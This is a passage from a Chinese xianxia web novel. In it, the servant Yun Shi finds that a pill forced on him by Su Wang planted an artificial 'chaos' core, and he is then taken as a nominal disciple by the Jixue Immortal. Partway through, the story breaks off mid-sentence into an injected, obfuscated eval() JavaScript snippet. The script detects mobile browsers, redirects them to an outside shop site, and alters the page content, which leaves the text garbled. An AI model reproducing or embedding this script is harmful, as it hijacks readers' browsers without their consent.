这可不是什么好差事。路途奔波,条件艰苦,要伺候脾气难料的仙师,还要面对大量陌生的工作量和可能的突发状况。后厨众人避之唯恐不及。 孙师傅拿着名单,目光在人群里扫了一圈,最后落在了几个平日里最老实、最没背景、或者像云实这样“不讨喜”的人头上。 “你,你,还有你……云实,你也去。”孙师傅点着名,语气不容置疑,“准备一下,三日后出发。” 云实沉默地接受了。也好,离开这令人窒息的厨房,出去走走,或许……还能看到不一样的景象。他甚至可悲地发现,自己竟然对离开这里,有了一丝微弱的期待。 出发那日,天蒙蒙亮。云实和其他几个被点中的“倒霉蛋”背着简单的行李,聚集在外院的广场上。几辆装载着食材、炊具的马车已经准备就绪,十几名同样被抽调来的杂役仆从聚在一起,低声交谈,大多愁眉苦脸。负责此次大典后勤的,是一位面容严肃的内院执事,他简单训话后,便开始分配具体任务和跟随的仙师。 就在这时,一个熟悉的、温和的声音响起:“执事,这次下山,我缺一个处理杂务、照看行李的随从。我看……就他吧。”一只手,指向了人群中的云实。 云实抬头,看到流衍站在那位执事身旁,依旧是那身淡青道袍,气质温润,脸上带着浅浅的笑意。那位执事似乎对流衍颇为客气,略一沉吟,便点头应允:“既然流衍师弟开口,自然可以。云实,你便跟着流衍师弟,听候差遣。” 周围投来几道混杂着惊讶、好奇、或许还有一丝嫉妒的目光。流衍在内院弟子中名声不错,修为扎实,性情温和,跟着他,总比跟着那些脾气古怪或严厉的仙师要强。 云实有些茫然地走出人群,来到流衍身边,低声道:“流衍师兄。” 流衍微微颔首,目光在他脸上停留了一瞬,似乎察觉到了他眉宇间深藏的疲惫和麻木,但并未多问,只道:“跟上队伍,路上照看好行李物品即可。” 队伍开拔,出了山门,沿着蜿蜒的山路下行。云实沉默地跟在流衍身后不远处,照看着分配给流衍的几个箱笼。箱笼不重,似乎只是些日常用品和书籍,比他平日在后厨搬动的米袋油桶轻省太多。 一路无话。流衍似乎并不需要他时刻伺候,大多数时候只是静静赶路,或与同行的其他几位内院弟子低声交谈。云实乐得清静,目光却不由自主地飘向队伍前方。 那里,是此次下山主持大典的核心弟子们,以及一些通过正规渠道、早已被内定或考核通过的准新弟子。他们大多年纪很轻,最小的看起来不过十一二岁,但个个神采飞扬,或兴奋雀跃,或故作沉稳,身上穿着统一发放的、质地明显优于仆役的淡蓝色新弟子服饰,彼此交谈着,眼神里是对未来的无限憧憬。 云实看着他们,心里像是被钝刀子慢慢割着。曾几何时,他也曾站在测灵台前,心怀微末的希望。如今,他穿着灰扑扑的仆役短褐,跟在队伍末尾,做着最卑微的杂役,而这些人,却即将踏上他曾梦想却遥不可及的仙途。 一种混合着苦涩、不甘、羡慕和自我厌弃的情绪,悄然涌上鼻尖,眼眶不受控制地发热。他赶紧低下头,用力眨了眨眼,把那股酸涩压回去。 “哟,看呐,咱们云实小哥这是怎么了?眼睛红红的,想家啦?”一个阴阳怪气的声音在旁边响起。是同行的另一个杂役,平日里在后厨就喜欢嚼舌根,此刻正斜睨着云实,脸上带着戏谑。 “我看不是想家,是看那些新弟子,心里泛酸水了吧?”另一个附和道,语气同样不怀好意。 “啧啧,天天跟纸鸢那群姑娘混在一起,怎么,也学得跟姑娘家一样,动不动就掉金豆子?” “就是,娘们唧唧的……” 云实猛地抬起头,看向那两个出声嘲讽的杂役。他本不想理会,但“娘们唧唧”这个词,像针一样刺进他心里,瞬间点燃了他压抑许久的怒火和委屈。他想起了纸鸢,母亲还有小妹,哪个不是坚强又善良?这不仅仅是贬低他,更是连带贬低了纸鸢,贬低了所有女子! “你们闭嘴!”云实的声音不大,却带着罕见的冷硬和怒意,“我怎么样,轮不到你们说三道四!还有,什么叫‘跟女孩一样’?女孩爱哭怎么了?女孩就不能坚强有力了?你们不仅贬低我,更是在贬低她们!无知!” 那两个杂役没料到一向沉默寡言的云实会突然爆发,还说出这样一番话,一时有些愣住。周围其他仆役也看了过来,神色各异。 “吵什么?”流衍的声音适时响起,温和却带着不容置疑的威严。他不知何时走了过来,目光平静地扫过那两名杂役和云实。 那两名杂役顿时噤声,低下头不敢再说。流衍看向云实,见他胸口起伏,眼圈依旧有些发红,但眼神却倔强地瞪视着那两人,不由在心中轻轻叹了口气。 “没事了,都散开,继续赶路。”流衍遣散了围观的人,然后对云实招了招手,“你跟我来。” 云实默默跟上,走到路旁一棵大树下,远离了队伍。流衍停下脚步,转身看着他,眼神里带着一丝不易察觉的关切。 “还在为那件事烦心?”流衍问的是衣服和苏妄的事。 云实摇摇头,低声道:“我没什么的。习惯了。”他顿了顿,补充道,“刚才……是我冲动了。” 流衍看着他强自平静的脸,和那双努力掩饰却依旧泄露出一丝脆弱和迷茫的眼睛,沉默了片刻,忽然道:“开灵大典上,会有更精密的测灵碑,除了检测先天灵根,也能探查一些后天异变和灵力状况。”他目光落在云实身上,“你……想不想再测一次?” 云实猛地抬头,看向流衍。再测一次?他早已不抱任何希望。可是……流衍为什么要这么问?难道他看出了什么?或者只是……怜悯? “我……”云实张了张嘴,心里乱成一团。害怕再次失望,又隐隐有一丝连自己都不愿承认的、死灰复燃般的微渺期待。 “就当是……替我确认一些事情。”流衍的声音很温和,却带着一种让人安心的力量,“测一下,也无妨。” 云实最终缓缓点了点头。 数日后,队伍抵达了举行大典的属城。大典在城中央的广场举行,人山人海,比云实记忆中青石镇的场面还要宏大数倍。高台上,来自天衡宗及其他几个受邀观礼宗门的长老、弟子们肃然而立,气势迫人。 仆役们被安排在广场外围的临时灶棚和休息区,忙碌地准备着茶水点心,随时听候差遣。流衍似乎并未被安排具体的执事任务,他只是静静站在外围,看着广场中央的测灵仪式一轮轮进行。 轮到检测一些有特殊推荐或关系的“附加名额”时,流衍对身边的云实低声道:“跟我来。” 云实心脏砰砰直跳,跟着流衍,从侧面绕过高台,来到后方一处相对僻静的偏殿。这里也立着一座测灵碑,比广场上那座稍小,但色泽更加温润内敛,碑身刻满了繁复的符文。一位面容古板的老者守在碑旁,看到流衍,微微颔首。 “麻烦邱师叔。”流衍恭敬道。 被称作邱师叔的老者看了云实一眼,眼神如电,仿佛能将他里外看透,让云实浑身不自在。“就是他?” “是。有劳师叔用‘鉴微碑’一测。”流衍道。 邱师叔没再多言,示意云实上前。云实深吸一口气,走到碑前,看着那光滑如墨玉的碑面,仿佛又回到了十六岁那个令他绝望的日子。他闭上眼,伸出手,掌心贴上冰凉的石面。 起初,依旧是沉寂。云实的心一点点往下沉。果然……还是不行吗? 就在他几乎要放弃时,碑面,亮了。 不再是当年那种微弱、涣散、混杂各色的光丝。这一次,亮起的是一种颜色——一种极其浓郁、近乎妖异的暗红色!光芒并不算特别强烈,却异常纯粹、凝实,带着一种混乱、躁动、仿佛随时要挣脱束缚的气息,在碑面上缓缓流转,甚至隐隐发出低沉的嗡鸣。 “这是……?!”邱师叔古板的脸上第一次露出了惊容,他上前一步,仔细盯着那暗红光芒,又猛地看向云实,“乱灵根?!如此纯粹显化的‘乱’侧亲和?!” 流衍的眉头也紧紧皱起,他一步上前,不等云实反应过来,一只手已轻轻按在了他的丹田位置。一股温和却不容抗拒的灵力探入,瞬间,流衍的脸色变了。 他收回手,看向云实的眼神充满了震惊和凝重:“你……你丹田之中,何时多了一颗‘人造内丹’?!虽然手法粗糙,属性暴烈,偏向‘乱’与‘热’,但这分明是外力植入!你自己可知晓?你吃过什么不该吃的东西?或者……接触过什么异常之物?” 人造内丹?外力植入? 云实的脑子“嗡”的一声,瞬间一片空白。他第一个想到的,就是栖霞镇悦来客栈天字三号房里,苏妄丢给他的那颗碧绿色丹药!那颗让他身体不适迅速消退、甚至精神都好了许多的丹药! 是那颗丹药?是苏妄?! 所以,他这突如其来的、显化出来的“乱灵根”,根本不是什么天赋觉醒,不是什么努力终于感动上天,而是……苏妄随手塞给他的一颗丹药造成的?! 流衍看他脸色煞白、眼神涣散,心中已然明了七八分。他沉声道:“我们天衡宗,主修‘寒热’平衡,讲究的是根基稳固,循序渐进。你这颗人造内丹,属性暴烈混乱,与‘乱’之法则强行亲和,分明是某些急功近利或走了邪路的修士所为。它虽让你提前显露出‘灵根’表象,甚至可能短期内给你带来一些力量感,但根基虚浮,隐患无穷,轻则阻碍你未来真正的道途,重则灵力失控,反噬自身!” 他盯着云实,语气严肃:“这颗内丹,是谁给你的?是不是苏妄?” 云实嘴唇翕动,想说不是,可事实摆在眼前。他想起苏妄那玩世不恭又恶劣的笑容,想起那晚的黑暗和身体的钝痛,想起那颗被他毫不犹豫吞下的丹药……原来,那不是帮助,不是补偿,或许是另一场更深的、他当时根本无法理解的戏弄或随手为之的实验? 他设想过无数次,自己或许有一天,能凭借自身的努力和一点运气,在测灵碑前展现出哪怕一丝一毫值得称道的天赋,引来惊叹或赞许。那是属于他自己的、辛苦挣来的认可。 可他万万没想到,会是以这种方式。 以一种和他所有努力都无关的、荒诞可笑的方式。以一种,仅仅因为他遇到了一个恶劣的修士,被对方随手塞了一颗不知所谓的丹药,就改变了他身体根本的方式。 努力有什么用?他起早贪黑,拼命练习,忍受排挤,咽下委屈,所有的坚持和汗水,在这样轻飘飘的、来自更高维度的“随手为之”面前,像个彻头彻尾的笑话。 一股冰冷的、夹杂着荒谬和巨大讽刺的寒意,从脊椎骨窜起,瞬间冻结了他的四肢百骸。他想哭,却扯不出一个像样的表情;他想笑,喉咙里却像堵着棉花。 原来,所谓命运,所谓仙缘,有时候,真的可以荒唐到这种地步。 他看着流衍严肃而带着忧虑的脸,看着邱师叔审视的目光,看着测灵碑上那依旧在流转的、妖异纯粹的暗红色光芒,张了张嘴,最终,只发出了一声极轻的、仿佛从肺腑深处挤出来的、破碎的气音: “人造内丹……很贵重吗?” 他脑子里嗡嗡作响,测灵碑上那妖异的暗红光芒还烙在眼底。 流衍轻轻摇头,声音压得很低,确保只有他们和那位邱师叔能听清,“这不是贵重不贵重的问题。‘人造内丹’之术,本身就被绝大多数正道宗门视为邪术、捷径,隐患极大,稍有不慎便是身死道消。更何况……” 他顿了顿,眉头锁得更紧:“这枚内丹的属性如此暴烈纯粹地指向‘乱’之一侧,炼制手法也带着一股……熟悉的、不管不顾的肆意妄为。普天之下,会如此行事,且有能力如此行事的年轻一辈,我能想到的,只有苏妄。他出身混沌派,本就信奉‘乱’中求道,行事乖张。只是没想到,他竟然会……” 流衍的目光落在云实苍白的脸上,语气带上了一丝不忍的推测:“他将此物……用这种方式给你,原因难测。或许是一时兴起,觉得好玩;或许……是想观察‘人造内丹’在凡人体内的反应,拿你做了个随手为之的‘试验’;至于受人指使……”他再次打量云实,摇了摇头,“以你的出身背景,几乎不可能。更大的可能,这只是苏妄个人又一次……恶劣的玩笑。” 玩笑。试验。随手为之。 每个词都像冰锥,扎进云实刚刚被纸鸢的话语撬开一丝缝隙的心里。原来,不止是那一晚的强迫是践踏,连这枚改变了他身体、让他显露出所谓“灵根”的内丹,也只是一场更居高临下的、冷酷的“观察”或“玩笑”的一部分。他不是一个被伤害的人,他甚至不是一个被用来交易的物品,他可能只是……一个偶然被选中的、用来验证某个念头的“容器”。 “你现在不能继续做仆役了。”流衍的声音将他从冰冷的漩涡中拉回一丝现实,“身怀来历不明、属性特异的人造内丹,又是以这种方式得来……此事已非寻常仆役纠纷。我必须禀明师尊,由宗门定夺。在这之前……”他沉吟片刻,看向一旁的邱师叔。 邱师叔一直沉默地听着,此刻才缓缓开口,声音沙哑:“既已测出灵根显化,无论其来源如何,按最低限度的宗门旧例,便不能再以凡仆视之。可暂收为记名弟子,待内务堂与刑律堂共议后再做决断。流衍,你既插手此事,便由你暂时看管。” “是,师叔。”流衍躬身应道,随即转向云实,眼神温和却不容置疑,“跟我回山。接下来的一切,你只需如实陈述,不可隐瞒,也不可妄加揣测。我会尽力帮你。” 云实茫然地点了点头。他的思维仿佛停滞了,只能被动地跟着流衍的行动。测灵大典后续的喧嚣仿佛隔着一层厚厚的水幕,模糊不清。他是怎么离开偏殿,怎么被流衍带到一处安静的驿站房间暂歇,怎么在周围其他仆役复杂难言的目光中被单独隔开,他都记不清了。只记得流衍给了他一些清水和干粮,让他休息,自己则匆匆离去,想必是去传讯回宗门。 接下来两日,云实如同行尸走肉。他待在房间里,很少说话,偶尔纸鸢趁人不备溜过来看他,眼里满是担忧和问询,他也只是摇摇头,勉强扯出一个比哭还难看的笑,说“没事”。纸鸢显然听说了什么,但看云实不愿多说,也只能用力握了握他的手,低声道:“不管发生什么,云实,你要撑住。” 撑住?撑住什么?云实不知道。他只觉得荒唐,一种从骨髓里透出来的、冰冷刺骨的荒唐。他拼命想抓住点什么,证明自己的存在不是一场可笑的误会,不是某个高阶修士随手抛下的石子激起的微不足道的涟漪。那些真实存在过的艰辛和努力,此刻在“人造内丹”和“邪术玩笑”面前,显得如此虚幻和无力。 三日后,大典结束,队伍返回天衡宗。这一次,云实没有再跟在仆役队伍中,而是被安排与流衍同乘一辆简陋的马车。一路沉默。流衍偶尔会看他一眼,似乎想说什么,但最终只是轻轻叹气。 回到宗门,云实没有回到后厨那间灰扑扑的平房,而是被直接带到了内务堂侧殿的一间静室中暂时安置。静室比他之前的住处干净宽敞许多,甚至有独立的床铺和桌椅,但那种被审视、被隔离的感觉,却比以往任何时候都更强烈。 等待宣判的时间格外漫长。流衍来过几次,告知他事情已经上报,正在由几位长老合议。他让云实安心等待,并开始教他一些最基础的引气、静心法门,说是为了让他初步适应体内的灵力,并观察那枚人造内丹的稳定性。 “无论结果如何,有些基础的东西,你总要开始接触。”流衍说这话时,语气平静,但云实能听出其中隐含的未竟之意——如果宗门决定留下他,这些就是起点;如果决定驱逐甚至……处置他,那至少也能让他死个明白? 云实学得很机械。当他把那微弱却不再完全杂乱、而是隐隐带着一丝暗红躁动的灵力按照流衍指点在体内运行时,感觉怪异极了。这力量不属于他,是外来的,强塞进来的。就像穿着一双完全不合脚、却意外能走的鞋,每走一步都能感受到鞋的存在,以及它与自己身体之间那无法忽视的隔阂。 几天后的一个清晨,流衍再次来到静室,面色比往日更加严肃。 “师尊要见你。”他说,“跟我来。” 云实的心猛地一沉。终于来了。他跟着流衍,穿过他从未踏足过的内院区域。亭台楼阁掩映在灵雾之中,奇花异草散发着沁人心脾的香气,偶尔有穿着各色道袍的弟子御器掠过,留下一道道灵光轨迹。这一切都美得不真实,也远得让他心生畏惧。 他们来到一座位于半山腰、被松柏环绕的朴素殿宇前。殿门敞开,里面光线柔和。流衍在门外停步,示意云实自己进去。 云实深吸一口气,跨过高高的门槛。殿内空旷,只有几排蒲团,正前方是一座简单的云床。云床上,坐着一位男子。 在看到那男子的瞬间,云实愣了一下。他本以为会见到一位白发苍苍、仙风道骨的老者,或是威严深重、不苟言笑的中年修士。但眼前这位,看起来不过三十许人,面容是难以言喻的俊美,不是苏妄那种带着邪气的昳丽,而是如高山白雪、静夜明月般的清冷出尘。他穿着一身没有任何纹饰的月白道袍,长发用一根简单的木簪束起,周身气息圆融内敛,仿佛与这殿宇、这山峦融为一体。他只是静静坐在那里,却让云实感觉面对的是一片浩瀚宁静的星空,深不可测,又带着一种令人不自觉想要臣服的威严。 这就是流衍的师尊?天衡宗的一位仙尊? 云实不敢多看,连忙低下头,按照流衍之前匆匆教过的礼节,深深躬身:“弟子云实,拜见仙尊。” “抬起头来。”一个声音响起,不高不低,不疾不徐,却清晰地传入耳中,带着一种奇特的穿透力,仿佛能直接安抚人心的躁动。 云实依言抬头,但目光依旧垂着,不敢与仙尊对视。 “走近些。”仙尊道。 云实挪动脚步,向前走了几步,在距离云床约一丈处停下。 片刻的寂静。云实能感觉到一道目光落在自己身上,平静无波,却又仿佛能洞察他身体最细微的状况,包括丹田处那颗不属于他的、暗红色的“异物”。 “流衍已将你之事禀明。”仙尊缓缓开口,“身怀外道所植‘乱’性人造内丹,灵根显化,虽非你本愿,亦非正道。按律,本应废去根基,逐出山门,以儆效尤。” 云实的心跳几乎停止,手脚冰凉。 “然,”仙尊话锋一转,语气依旧平淡,“此内丹虽属外道,炼制手法亦显粗糙暴烈,但其核心引动的‘乱’之法则,却是构成天地八行的四交维度之一,本身并非邪秽。你能承载此丹而未当场崩溃,除丹药本身可能被苏妄刻意控制了部分烈性外,你自身那驳杂却微妙的灵根基底,或也起了些许缓冲调和之用,此乃异数。” 云实听得似懂非懂,只捕捉到“未当场崩溃”、“异数”几个词。 “苏妄行事,虽常出格,却非无的放矢。他将此丹予你,恐非单纯戏弄。”仙尊的目光似乎穿透了云实的身体,看向更遥远的虚空,“混沌派近来有些不安分的动向,或与此有关。留你在宗门,或可作为一个观察的‘点’。” 云实的心一点点沉下去。果然,还是“观察”。从一个恶劣修士的“试验品”,变成了整个宗门高层眼中的“观察点”。他存在的意义,似乎总是和“被观察”、“被利用”联系在一起。 “故,本尊破例,准你入我门下,为记名弟子。”仙尊的声音将他从自厌的思绪中拉回,“一则,此内丹在你体内,需有人时刻监察引导,避免其失控反噬,酿成祸端;二则,你既已显化灵根,无论来源如何,便有了修行的可能,与其放任自流或简单废去,不如纳入正轨,看能否以正统‘寒热’之法,逐步炼化或导正这颗‘乱’丹,化害为益,亦是对‘八行平衡’之道的一种探索;三则……” 仙尊顿了顿,目光再次落在云实脸上,这一次,云实感觉到那目光中似乎多了一丝极淡的、近乎悲悯的情绪。 “你本人,于此间并无过错,却连番遭遇,心绪激荡,道基未立已蒙尘。入我门下,可得一隅安身,暂避风雨,亦可修习静心定念之法,重固心神。” 云实呆呆地站着,脑子完全转不过弯来。破例?入门?记名弟子?仙尊门下? 这转折太快,太突兀,太……荒谬了!就在几天前,他还是一个在后厨被管事刁难、被同僚排挤、看不到出头之日的卑微仆役。现在,他却因为一颗别人强行塞进来的、可能带来巨大隐患的“邪物”,被宗门地位尊崇的仙尊亲自开口,收为弟子? 这算什么?因祸得福?可这“福”建立在那样不堪的“祸”之上,建立在他是“容器”、“试验品”、“观察点”的基础上!这根本不是对他个人的认可,不是对他那些日夜付出的努力的回报,只是因为他的身体成了一个特殊的问题,需要被“处理”和“研究”! 纸鸢的话,在此刻无比清晰地回响起来:“他那样对你,是根本没把你当成一个平等的人来看待……你反复告诉自己‘不吃亏’,其实潜意识里……” 巨大的荒谬感和一种深切的悲哀席卷了他。他想哭,想笑,想大声质问,却发现自己什么声音也发不出来,只是僵硬地站在那里,脸上血色尽褪。 “你可愿意?”仙尊问,声音依旧平静,仿佛只是在询问一件微不足道的小事。 愿意?不愿意?他有选择吗?离开这里,带着这颗随时可能爆炸的“乱丹”,他能去哪里?回家?给家人带去更大的麻烦和危险吗? 他张了张嘴,喉咙干涩得发疼,最终,只能从齿缝里挤出两个微不可闻的字:“……愿意。” “如此甚好。”仙尊微微颔首,“流衍。” 一直守在门外的流衍应声而入,躬身行礼:“师尊。” “云实既入我门下,暂由你代为教导基础,监察其体内状况,定期回禀。一应弟子用度,按最低等记名弟子配给。待其稳定心神,初步掌握引气之法后,再作安排。” “弟子领命。”流衍恭敬应道,然后转向仍处于巨大冲击中、神情恍惚的云实,轻声道,“云实,还不快谢过师尊?” 云实如梦初醒,机械地再次深深躬身:“谢……谢师尊。” “去吧。”仙尊不再多言,闭上了眼睛,仿佛已经入定。 流衍带着云实退出殿宇。直到走出很远,重新呼吸到外面清冷的空气,云实才像是缓过一口气,但胸膛里依旧堵得难受,眼前的一切都像是蒙上了一层不真实的虚影。 “师弟,”流衍的声音在身边响起,带着一丝如释重负和更深的复杂,“以后,你便是我真正的师弟了。师尊……他虽看似冷淡,但既然开口收你,便定会负责。你体内的隐患,我们会想办法。” 师弟。这个词让云实又是一阵恍惚。就在不久前,流衍还是他需要仰望、感激的“师兄”,是他困境中伸出援手的高阶弟子。现在,却成了他名义上的“师兄”。而这关系的转变,并非源于情谊或认可,只是因为一桩荒唐的变故。 他看着流衍温和却难掩疲惫的侧脸,心里五味杂陈。流衍帮他,或许是真有恻隐之心,或许也是出于师命和对宗门负责。但无论如何,此刻,在这个全然陌生、充满不确定和荒诞的境地里,流衍似乎是唯一一根他能抓住的、带有温度的浮木。 “流衍师兄……”云实低声唤道,声音沙哑,“我……我真的成了……弟子?” 流衍停下脚步,看着他,眼中掠过一丝了然和同情。他拍了拍云实的肩膀,力道不重,却带着一种安抚的意味。 “是的,师弟。从今天起,你不再是仆役云实,而是天衡宗寒霁峰一脉,霁雪仙尊座下,记名弟子云实。” 寒霁峰。霁雪仙尊。记名弟子云实。 每一个词都陌生而遥远,与他过去十八年的人生毫无关联。它们像一套华丽却冰冷的外壳,突然套在了他这个茫然无措、内里布满裂痕的“容器”身上。 太荒谬了。 这一切,都太荒谬了。 荒谬到他几乎要相信,这真的只是一场光怪陆离的梦。梦里有仙尊垂青,一步登天;梦里也有强行植入的内丹,居高临下的审视,和作为一个“问题”被收留的实质。 他迎着山间微寒的风,望向远处云雾缭绕的更高峰峦。那里,是更多他无法想象的修士,更玄奥的法则,更激烈的道争。 而他将以这样一个荒诞的、连自己都无法认同的身份,踏入其中。 怪苏妄吗?怪。可似乎又不全怪他。该怪谁?怪这森严的仙凡之别?怪这以力量论尊卑的世道?还是怪自己,当初为什么非要走上这条路? 他不知道。 他只知道,流衍师兄走在他身边,步伐稳定。而他自己,脚下虚浮,前路茫茫。那枚暗红色的、不属于他的内丹,在他丹田深处,随着他紊乱的心绪,微微发着热,像一颗埋藏在他命运里的、不知何时会引爆的诡异种子。 …… 日子还是要过下去。 云实这样告诉自己, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16934562|192840||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 用一种近乎麻木的理智。不然还能怎么办呢?哭天抢地?寻死觅活?过往更糟的经历都熬过来了,这一次,至少表面上,他“一步登天”了,从一个任人驱使的杂役,变成了仙尊座下记名弟子。再荒谬,再讽刺,人总得活在当下,抓住手边能抓住的东西——哪怕那东西本身,就是个烫手山竽,是个随时可能反噬的隐患。 道理是这么个道理,心里头那股憋闷、空洞、还有隐隐作痛的感觉,却没那么容易散去。就像身体里那颗不属于他的暗红内丹,无论他尝试用流衍教的静心法门如何安抚,总会在夜深人静,或当他想起某些片段时,微微发热,提醒着它的存在,和它背后所代表的一切——强制、屈辱、以及被当作物品般审视和处置的荒诞。 “修道先修心。”流衍在教授他基础引气诀时,曾不止一次温和地提醒,“心不定,气则浮。你如今情况特殊,更需谨守灵台,不为外物所动。” 灵台?云实想,他的“灵台”大概从测灵碑亮起暗红光芒的那一刻起,就已经支离破碎,覆上了一层洗不掉的污渍和冰碴。修心?他连自己的“心”到底该怎么安放都还没弄明白。 第一个跑来恭喜他的,是纸鸢。她不知从哪里听到了风声,趁着送一趟清洗好的弟子服饰到寒霁峰外围执事房的机会,偷偷溜到了分配给云实的那间简陋但独立的弟子房(比之前的静室稍大些,位于寒霁峰山脚,灵气比外院浓郁,但远不能与内院核心区域相比)。 “云实!恭喜你!”纸鸢的眼睛亮晶晶的,是纯粹的、不带杂质的喜悦,仿佛他真的凭本事考上了状元,“我就知道你不是池中之物!这下可好了,成了仙尊弟子,以后谁还敢欺负你?” 看着纸鸢真心为他高兴的笑脸,云实喉咙发哽,那些翻涌的苦涩和荒谬感几乎要冲口而出,但最终他只是扯了扯嘴角,露出一个勉强算得上是笑的表情:“嗯……谢谢。” 纸鸢敏锐地察觉到了他笑容下的勉强和眼底深处挥之不去的阴郁。她脸上的喜色收敛了些,凑近些,压低声音:“怎么了?是不是……有什么为难的?我听说了一些……关于那个内丹的事。”她眼里满是担忧。 云实摇摇头,不想多说。那些事,说出来除了让纸鸢跟着糟心,没有任何意义。“没事,就是……还不习惯。” 纸鸢盯着他看了几秒,忽然从怀里掏出一个小油纸包,塞进他手里:“给,桂花糖。我自己做的,偷偷加了点糖霜,可甜了。心情不好的时候,吃点甜的管用。” 她又变戏法似的拿出几本薄薄的、边角有些卷起的小册子,飞快地塞到云实枕头底下,脸上难得露出一丝赧然:“还有这个……你、你凑合看看。记得偷偷看啊,别让人发现了。这东西……嗯,我自己喜欢看,但不保证你也喜欢……就当……减压用的?” 云实疑惑地看着她。纸鸢已经像只受惊的兔子一样,飞快地说了句“我还有活,先走了!保重!”便一溜烟跑掉了,留下云实拿着那包尚带余温的桂花糖,和枕头下那几本神秘的小册子。 晚上,结束了一日枯燥的引气打坐和基础体术练习(由一位表情严肃的师姐监督),云实拖着疲惫的身体回到房中。那包桂花糖他吃了一颗,甜得发腻,却奇异地让紧绷的神经稍微松弛了一点点。然后,他想起了纸鸢塞的东西。 犹豫了一下,他还是从枕头下摸出了那几本小册子。册子很薄,纸张粗糙,显然是私下流通的廉价货。封面上没有字,只有些简单甚至拙劣的线条图案。他随手翻开一本。 只一眼,他的脸“腾”地一下红了,手指像被烫到般猛地一缩。那册子里画的,赫然是两个男子纠缠在一起的春宫图!画工算不上精细,但姿态大胆露骨,旁边还配着些不堪入目的俚语解说。 云实心头狂跳,下意识就想把这些册子扔出去,或者塞到最角落再也不碰。但手指在粗糙的纸页上停留了片刻,一种奇怪的、混合着尴尬、好奇和一丝难以言喻的情绪,让他没有立刻那么做。 他硬着头皮,又翻开了另一本。这本画的是男女之事,同样直白。他看着画中女子那些夸张的神情和姿态,眉头却越皱越紧。这些女子,和他记忆里的母亲、妹妹、甚至爽利明朗的纸鸢,完全不一样。画中的她们,要么痴态尽显,要么柔弱无骨,仿佛只是供男子取乐的附属品,没有自己的思想和灵魂。这让他感到一种本能的不适和排斥。 倒是那些男子与男子之间的画面,虽然同样触发了他某些极力想要遗忘的不快记忆(那些黑暗中的触感、气息和身体的钝痛),但奇怪的是,画面本身带来的冲击,似乎还不如那些扭曲的女性形象让他反感。或许是因为,在那些画面里,至少双方在形式上是“平等”的?这个念头一闪而过,他自己都觉得有些荒唐。 让他真正看进去的,是这些册子里不止有春宫,竟然还有简单的、连贯的剧情。有些是才子佳人老套故事里穿插香艳场景,有些则直接设定在修仙界,讲的是仙君与魔尊、师兄与师弟、师尊与徒弟之间种种离奇纠葛,自然少不了各种突破禁忌的亲密画面。 云实起初只是机械地翻看,带着一种麻木的、打发时间的心态。但看着看着,尤其是那些修仙背景的故事,他的眉头越皱越紧,心里头那股荒谬感再次翻腾起来。 故事里的仙君、师尊们,动辄毁天灭地,移山填海,一个念头就能决定无数人生死。可一转脸,就能为了某个特别的弟子或对手,做出各种匪夷所思、甚至卑微讨好、强行囚禁的事情。力量等级悬殊如云泥之别,却偏偏要上演各种虐恋情深、强取豪夺的戏码。 没踏入修行门槛时,看这些或许只觉得刺激、猎奇。可当他真正成了这庞大修仙体系中最底层的一枚棋子,亲身感受到每一级力量差距带来的、实实在在的压迫和无力感后,再看这些故事,只觉得无比虚假,甚至可笑。 每一级境界,都像一座沉重的大山。感气、锚定、跃迁、环流……他现在连最基础的“感气”都因那枚人造内丹而变得诡异,连稳定引气都需流衍师兄或那位严肃的师姐时刻看顾,生怕那“乱”力失控。而故事里那些动辄“领域期”、“法则期”的大能,却能为了一点情爱纠葛要死要活,轻易抛却修为和责任? 这怎么可能? 他现在连寒霁峰那位霁雪仙尊的面都难得再见一次。仙尊偶尔会召他去问话,语气平淡地询问他体内灵力运行状况,有无异常感受,目光落在他身上时,依旧带着那种穿透性的、仿佛在观察某种稀有病例般的审视。云实能感觉到,仙尊收他,与其说是收徒,不如说是收下了一个需要严密监控的“不稳定因素”。他的价值,在于他体内那颗苏妄硬塞进来的“乱丹”,在于他这个“均匀杂灵根”构成的、偶然形成的诡异“容器”。 他甚至私下里偷偷打听过。像他离家时留给父母的那种最低级储物袋,确实如他所料,并非正道宗门常用之物。正统的储物法器,哪怕是最低阶的,也需要一定灵力基础和特定法诀才能稳定开启,以防灵气外泄或物品损坏。而苏妄给的那种,靠着法器自身微弱的灵力维持和简单的触发机制,反而更适合毫无根基或灵力微弱的凡人使用——也常被一些行事不忌、需要处理见不得光物资的散修或左道之士采用。 这个认知让他更加挫败。原来,连那最初改变他想法、给了他一丝希望的储物袋,其来源也透着不正和随意。他所以为的“转机”,从头到尾,都和苏妄这个他避之唯恐不及的名字紧密捆绑。 在这令人窒息的新环境里,纸鸢的偶尔探望,几乎成了他唯一的精神寄托。那个爽朗的、会偷偷给他塞糖和奇怪画本子的姑娘,是连接着他过往那个平凡却真实世界的唯一纽带。她会跟他抱怨后厨新管事的刻薄,会偷偷讲其他仆役的八卦,会笨拙地安慰他“船到桥头自然直”,虽然她自己也不太明白云实具体在经历什么。 云实珍惜这些短暂的时刻。只有在纸鸢面前,他才不必时刻紧绷,不必掩饰眼底的疲惫和茫然。他会跟她简单说说引气时的感受,说说那些刻板严肃的师兄师姐,说说对修炼进度的焦虑。纸鸢总是很认真地听,虽然很多术语她不懂,但那份专注的倾听本身,就给了他莫大的慰藉。 然而,好景不长。几次之后,纸鸢突然不来了。云实等了几天,心中不安,寻了个借口去外院执事房附近转悠,才从一个相熟的老杂役口中隐约听说,纸鸢好像因为“私自擅离职守,与内院弟子过从甚密”,被管事训斥了,还罚了月钱,最近被看得紧,轻易不能离开后厨区域。 云实的心沉了下去。又是“过从甚密”。在后厨时是闲言碎语,在这里,就成了可以惩罚的过错。是他连累了纸鸢。一股无力感和愧疚涌上心头。他如今身份尴尬,自身难保,连为纸鸢说句话的资格和能力都没有。 他越发沉默,将所有无处安放的情绪和精力,都投注到日复一日的修炼和……观察中。 